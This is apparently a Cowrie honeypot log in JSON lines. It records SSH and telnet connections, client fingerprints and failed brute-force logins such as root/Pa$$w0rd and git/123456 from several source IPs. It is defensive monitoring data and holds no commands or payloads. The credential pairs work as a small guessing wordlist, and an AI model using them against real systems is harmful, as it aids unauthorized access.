{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.343781Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.413541Z","src_ip":"162.144.213.198","session":"737cd0ec3780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.429830Z","src_ip":"91.92.40.4","session":"5ace40cb9197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bittrex","password":"bittrex321","message":"login attempt [bittrex/bittrex321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:31.681131Z","src_ip":"162.144.213.198","session":"737cd0ec3780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:32.773466Z","src_ip":"162.144.213.198","session":"737cd0ec3780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":32840,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8454e21bcc7","protocol":"telnet","message":"New connection: 170.64.224.25:32840 (159.203.135.109:23) [session: a8454e21bcc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:49.634529Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":60454,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c0f943198be","protocol":"ssh","message":"New connection: 160.187.174.22:60454 (159.203.135.109:22) [session: 4c0f943198be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:55.214039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:55.218057Z","src_ip":"160.187.174.22","session":"4c0f943198be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:55.458252Z","src_ip":"160.187.174.22","session":"4c0f943198be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd","message":"login attempt [root/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:56.190807Z","src_ip":"160.187.174.22","session":"4c0f943198be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:57.436290Z","src_ip":"160.187.174.22","session":"4c0f943198be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34342,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ef8f6e9f616","protocol":"ssh","message":"New connection: 103.27.238.116:34342 (10.17.0.5:22) [session: 6ef8f6e9f616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:57.558097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:57.563029Z","src_ip":"103.27.238.116","session":"6ef8f6e9f616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:57.827485Z","src_ip":"103.27.238.116","session":"6ef8f6e9f616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azerty1","message":"login attempt [root/azerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:58.615720Z","src_ip":"103.27.238.116","session":"6ef8f6e9f616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:50:59.880558Z","src_ip":"103.27.238.116","session":"6ef8f6e9f616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":60576,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd0fc40df1c6","protocol":"ssh","message":"New connection: 160.187.174.22:60576 (159.203.135.109:22) [session: dd0fc40df1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:24.268317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:24.272456Z","src_ip":"160.187.174.22","session":"dd0fc40df1c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:24.505335Z","src_ip":"160.187.174.22","session":"dd0fc40df1c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:25.204229Z","src_ip":"160.187.174.22","session":"dd0fc40df1c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:26.440324Z","src_ip":"160.187.174.22","session":"dd0fc40df1c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40120,"dst_ip":"159.203.135.109","dst_port":23,"session":"f33a2766800f","protocol":"telnet","message":"New connection: 170.64.224.25:40120 (159.203.135.109:23) [session: f33a2766800f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:38.558962Z"}
{"eventid":"cowrie.session.closed","duration":52.34747266769409,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:41.981865Z","src_ip":"170.64.224.25","session":"a8454e21bcc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52354,"dst_ip":"159.203.135.109","dst_port":22,"session":"edab3094eaef","protocol":"ssh","message":"New connection: 160.187.174.22:52354 (159.203.135.109:22) [session: edab3094eaef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:52.861665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:52.865637Z","src_ip":"160.187.174.22","session":"edab3094eaef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:53.113545Z","src_ip":"160.187.174.22","session":"edab3094eaef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:53.862855Z","src_ip":"160.187.174.22","session":"edab3094eaef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:51:55.111924Z","src_ip":"160.187.174.22","session":"edab3094eaef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.32259917259216,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:15.881439Z","src_ip":"170.64.224.25","session":"f33a2766800f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":58474,"dst_ip":"159.203.135.109","dst_port":22,"session":"8218ad062a48","protocol":"ssh","message":"New connection: 160.187.174.22:58474 (159.203.135.109:22) [session: 8218ad062a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:21.386774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:21.392067Z","src_ip":"160.187.174.22","session":"8218ad062a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:21.633186Z","src_ip":"160.187.174.22","session":"8218ad062a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svnuser","password":"123456","message":"login attempt [svnuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:22.361968Z","src_ip":"160.187.174.22","session":"8218ad062a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:23.605678Z","src_ip":"160.187.174.22","session":"8218ad062a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":34216,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba50f46ea43c","protocol":"ssh","message":"New connection: 172.190.216.105:34216 (10.17.0.5:22) [session: ba50f46ea43c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:32.091281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:34.633639Z","src_ip":"172.190.216.105","session":"ba50f46ea43c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:34.643893Z","src_ip":"172.190.216.105","session":"ba50f46ea43c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"op90op90","message":"login attempt [root/op90op90] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:38.515442Z","src_ip":"172.190.216.105","session":"ba50f46ea43c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:46.194366Z","src_ip":"172.190.216.105","session":"ba50f46ea43c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53344,"dst_ip":"159.203.135.109","dst_port":22,"session":"17cc73d3e6f8","protocol":"ssh","message":"New connection: 160.187.174.22:53344 (159.203.135.109:22) [session: 17cc73d3e6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:48.005654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:48.010240Z","src_ip":"160.187.174.22","session":"17cc73d3e6f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:48.250347Z","src_ip":"160.187.174.22","session":"17cc73d3e6f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"123456","message":"login attempt [dolphinscheduler/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:48.979307Z","src_ip":"160.187.174.22","session":"17cc73d3e6f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:52:50.221837Z","src_ip":"160.187.174.22","session":"17cc73d3e6f8","protocol":"ssh"}
